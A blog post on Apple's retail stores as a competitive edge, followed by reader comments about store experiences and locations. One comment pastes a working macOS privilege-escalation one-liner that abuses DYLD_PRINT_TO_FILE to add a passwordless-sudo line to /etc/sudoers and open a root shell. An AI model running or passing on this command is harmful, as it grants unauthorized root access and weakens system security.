Apple has an uncopyable secret weapon that customers love

“As far back as I can remember, back to Macs in the last century, Apple has been all about the user experience,” Bambi Brannan writes for Mac360. “In the spring of 2001 Apple launched a much criticized weapon that extends the user experience to encompass the customer experience.”

“Nearly 15 years later Apple has over 400 retail stores scattered around the world (265 in the U.S. alone), and they all have a few things in common which help to set the customer experience apart from any Apple competitor,” Brannan writes. “What About Microsoft? Please. Don’t get me started. Microsoft’s methodology for Research and Development over the years mimics Samsung. In other words, copy whatever Apple is doing at the moment. That explains why the mostly empty Microsoft Windows Stores are in malls a few doors from Apple Stores.”

“Apple’s uncopyable secret weapon… is the Apple Store retail experience,” Brannan writes. “Name a competitor to Apple’s main product lines that has all you’ll find in an Apple Store in as many places as the stores are located?”

Read more in the full article here.

MacDailyNews Take: There isn’t any.

Hey, for how long are Microsoft going to perpetuate their retail store fiasco?

How the Apple Retail Store took over the world – July 22, 2015
Overall sales at shopping malls with an Apple Store are 10% higher – March 11, 2015
Apple Stores dominate retail with double the sales per sq. ft. of nearest rival, Tiffany & Co. – November 13, 2012
Why authorities waive rents and taxes to land Apple Retail Stores – May 20, 2012


  1. This is all true. However, I’ve had less “compulsion” to visit my local Apple Store during the last few years, compared to the “early days.” I’m not sure why… Maybe it’s because back in 2001, Apple was still the underdog. It was a new experience to see Apple’s products displayed with such attention-to-detail, compared to lonely PowerBooks with missing keys on display at other retailers.

      1. I was already a “well-educated” Mac (and previous Apple IIgs) user back in 2001. 🙂

        In 2001, Apple was only a few years out from nearly going out-of-business (or being bought out). There weren’t even any iPods to display quite yet (and Mac OS X was brand new), but seeing Apple’s products on display in Apple’s own stylish stores was glorious. New stores were opening, and I have T-shirts from a few openings. And software upgrades for Macs were distributed on discs in shrink-wrapped boxes, which I bought at the local Apple Store after standing in line. It’s important to remember that in 2001, most “customers” would not even consider buying any Apple product. It’s the physical stores that made Apple expanding product lines visible and accessible to “non-Apple” customers.

        1. I agree. I was at an opening to get a tee shirt, too. The Apple Store (and even Apple in general to an extent) in the early days felt a little special, not just because Apple was an underdog, but because you were literally part of a sort of exclusive club. You were part of the 1 in 20 people that used a Mac and other Apple products. New product releases were exciting and mysterious. The Apple Stores and the products in them felt new and exciting.

          Now? Going to the Apple Store is a little more like going to the AT&T or Sprint Store, or worse, the bus station. I’m exaggerating, but it’s truly a little like that. Everybody goes there. It’s busy. Crowded. Annoying. Everybody has an iPhone. Everywhere. You go to meetings and 3/4 of the people in the room have a MacBook. You sit in a waiting room and every other person has an iPhone.

          This is all great for Apple, but you’re absolutely right – it just doesn’t feel as special as it once did for those of us who have been using Apple products for more than 35 years like I have.

          1. You bring up a good point. Part of the allure of ‘premium/luxury’ stores is that they are designed to be sparse and the products arranged artfully. When there are people taking up that space the store does well but you lose that ‘exclusive’ feel of a high-end store and bring it closer to a feel of a transit hub.

  2. How embarrassing – stop concentrating on pushing out new crap and fix the bug – – i love apple but they have let security completely fail – tried it on my mac works as advertised :

    what a feature -like getting root access via command line:

    echo ‘echo “$(whoami) ALL=(ALL) NOPASSWD:ALL” >&3’ | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)

  3. Thanks for posting the video — a great walk down memory lane. I loved how he talked about the “6 mp3 players” they were stocking in the store, knowing that inside of six months Apple would release the one ring to rule them all — iPod.

  4. I managed an ARS for several years and it was a blast. Customers loved us. I’ve now moved back to a part of the country where there is no ARS nearby (ok, Milwaukee is only 3 hours away, but still….) and have tried to generate some buzz around getting one in NE WI but, who knows!

    1. One of the smallest markets I know of that has an Apple Store is my old hometown of Des Moines, IA, which has a metro population of about 600,000. Jackson, MS is a similar size and has an Apple Store. Boise, ID and Little Rock, AR both have Apple Stores, but both are slightly larger metro areas than Des Moines.

      From what I can gather, Apple targets metro areas of at least 600,000. I can’t see NE Wisconsin getting an Apple Store since the Green Bay metro is less than half the size of Des Moines, unless they plan on practically doubling the number of stores.

    2. Anchorage, AK isn’t much bigger than Green Bay and has an Apple Store, but I’m guessing the available disposable income and the fact that the next-nearest store is two thousand miles away probably played into the decision to put a store there.

  5. Apple stores used to be places where you could buy a Mac. buy stuff for your Mac, get good advice and training on your Mac from people who largely knew what they were talking about.

    Today, most stores are filled with tatted hipsters who stick to talking scripts and are less knowledgeable about Macs and other Apple devices and crowds of clueless Apple Phone customers. Sad, but true.

    1. Microsoft tried that several years ago. They did not generate enough traffic and MS pulled the plug.
      The problem is two-fold. First, the Windows PC has become pretty much a commodity item. Tons of manufacturers try to differentiate their products but there isn’t all that much they can do in this area. Among other things, owning both the OS and the hardware gives Apple the ability to change both without having to wade through tons of red tape (including creating a ton of manufacturer-specific tweaks in to someone else’s OS.
      Second, MS doesn’t have a clue about how to interact with consumers but their corporate mentality leads them to arrogantly assume that they do. A few months back I saw a high-end Windows 10 presentation by guy in his twenties wearing jeans and trying to look youthful and hip. In contrast to this, the screen shots showed a dreary brown background with boxy Spongebob-colored objects. The choice of the young guy was superficial. The visual message in the slides could not have been less appealing. MS pretends to be cool. Apple (while maintaining one foot in an aloof ivory tower) does a better job of actually _being_ cool.

  6. Heh. I remember what life was like before Apple stores. If wanted to buy Apple products, the closest place was CompUSA, where the Macs and iPods were crammed in the corner the farthest away from the door, all but ignored by staff who would rather you buy higher-commission PCs.

    Back in those days, MDN used to chronicle which retailers joined and left the Apple family. I remember GuitarCenter, of all things, becoming an official Apple Reseller.


  7. I used to like the Apple Store, but now I find as soon as I enter the sales people attack you like a swarm of bees, making it very uncomfortable to just browse. Don’t they know most browsers will make a purchase sooner or later?

    1. You are full of SH*T. The sales people are not paid by commission, so they are not driven to harass anyone for a sale. They are driven to help customers with questions about products and advise for which features works best for them.

      1. Larry didn’t mention anything about commissions. He’s commenting on how ‘enthusiastic’ the sales people are to initiate ‘helpful’ contact to the point of becoming annoying. 😀

  8. Apple’s stores are so successful that they MUST be in violation of some anti-trust rules! Calling Al Franken! Time for a Senate committed to investigate!!

  9. As I commented on an earlier thread, in London too the ARS model is beginning to feel tired, and the personnel lacklustre. I’m not sure that anyone is gripping the need to reinspire the staff. An Apple store is not a Burberry outlet, and I fear that Tim may have made a second major mistake in his choice of a head of retail. The challenge of delivering the very special model consistently worldwide, often in locations that the current product set does not fit, is huge, and I think Ahrendts may not be up to it. The luxe bangle business and the rest are not a good fit, as the decision to launch outside ARS outlets in popup outlets in premium department stores suggests they actually knew. The demands of AW tables are throttling the layout and the ambiance


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